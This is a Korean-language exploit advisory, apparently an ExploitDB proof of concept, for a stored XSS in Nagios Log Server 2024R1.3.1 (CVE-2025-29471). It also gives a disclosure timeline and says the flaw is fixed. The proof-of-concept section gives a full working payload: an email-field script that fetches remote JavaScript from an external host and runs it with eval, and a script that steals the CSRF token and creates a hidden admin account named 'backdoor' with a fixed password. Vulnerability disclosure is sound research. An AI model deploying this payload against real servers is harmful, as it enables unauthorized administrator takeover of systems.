Nagios Log Server의 저장형 XSS 취약점 (관리자 권한으로의 권한 상승)

▶️ PoC 데모

날짜: 2025-04-02

익스플로잇 작성자: Seth Kraft

벤더 홈페이지: https://www.nagios.com/

벤더 변경 로그: https://www.nagios.com/changelog/#log-server

소프트웨어 링크: https://assets.nagios.com/downloads/nagios-log-server/versions.php

영향받는 버전: `2024R1.3.1` 및 이하

테스트 환경: `Nagios Log Server 2024R1.3.1` (기본 구성, Ubuntu 20.04)

CWE-ID: `CWE-79`

기본 점수: 8.3 (높음)

벡터 문자열: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H`

유형: 저장형 크로스 사이트 스크립팅(XSS), 권한 상승

승인

승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적인 테스트 허가를 받지 않은 시스템에서 이 취약점을 테스트하거나 익스플로잇하지 마십시오.

설명:

Nagios Log Server 2024R1.3.1의 저장형 XSS 취약점을 통해 낮은 권한의 사용자가 자신의 프로필 'email' 필드에 악성 JavaScript를 주입할 수 있습니다.

관리자가 감사 로그를 조회하면 페이로드가 실행되어, 무단 관리자 계정 생성으로 이어지는 권한 상승이 발생합니다.

개념 증명

1.다음 내용으로 xss.js 페이로드를 외부 서버에 호스팅하십시오. Github도 문제없이 작동합니다.

<target-ip>를 Nagios Log Server 대상의 IP/호스트 이름으로 업데이트하십시오.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

표준(비관리자) 사용자로 Nagios Log Server에 로그인합니다.
프로필 업데이트 엔드포인트로 이동합니다:

http://<target-ip>/nagioslogserver/profile/update
이메일 필드에 다음 페이로드를 삽입합니다. fetch 줄을 xss.js가 저장된 URL로 업데이트합니다.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

관리자가 감사 로그를 볼 때까지 기다립니다. JavaScript가 실행되어 새로운 관리자 계정이 생성됩니다:

Username: backdoor

Password: Password123!

backdoor로 로그인하여 Nagios Log Server에서 전체 관리자 권한을 획득합니다.

공개 타임라인

2025-02-07: 연구원이 Nagios에 취약점을 보고
2025-02-14: Nagios가 보안 보고서 수신을 확인
2025-03-03: 연구원이 Nagios에 업데이트 요청
2025-03-10: 연구원이 Nagios에 업데이트 요청
2025-03-17: Nagios가 취약점이 해결되었으며 수정 사항이 곧 릴리스될 예정임을 확인
2025-03-19: Nagios가 Nagios Log Server 2024R2를 릴리스
2025-03-27: 연구원이 Nagios Log Server 2024R2가 저장형 XSS 취약점을 해결함을 테스트하고 검증한 후 Nagios에 업데이트
2025-04-01: MITRE가 이 저장형 XSS 취약점에 대해 CVE-2025-29471을 예약했으나, 벤더의 공개 보안 권고문이 없어 세부 내용은 비공개로 유지됨
2025-04-03: 연구원이 MITRE의 CVE ID 할당을 위한 증거 요건을 충족하기 위해 ExploitDB에 PoC를 공개
2025-04-09: Nagios가 2024R2 수정 사항의 후속 릴리스(2024R1.3.2)를 통해 저장형 XSS 취약점 수정 사항을 2024R1 브랜치에 백포트
2025-04-15: CVE-2025-29471이 공식적으로 공개됨

면책 조항

이 작업은 나의 고용 범위 밖에서 수행되었으며, 사이버보안 연구에 대한 나의 개인적 노력을 반영합니다.

CVE-2025-29471

인기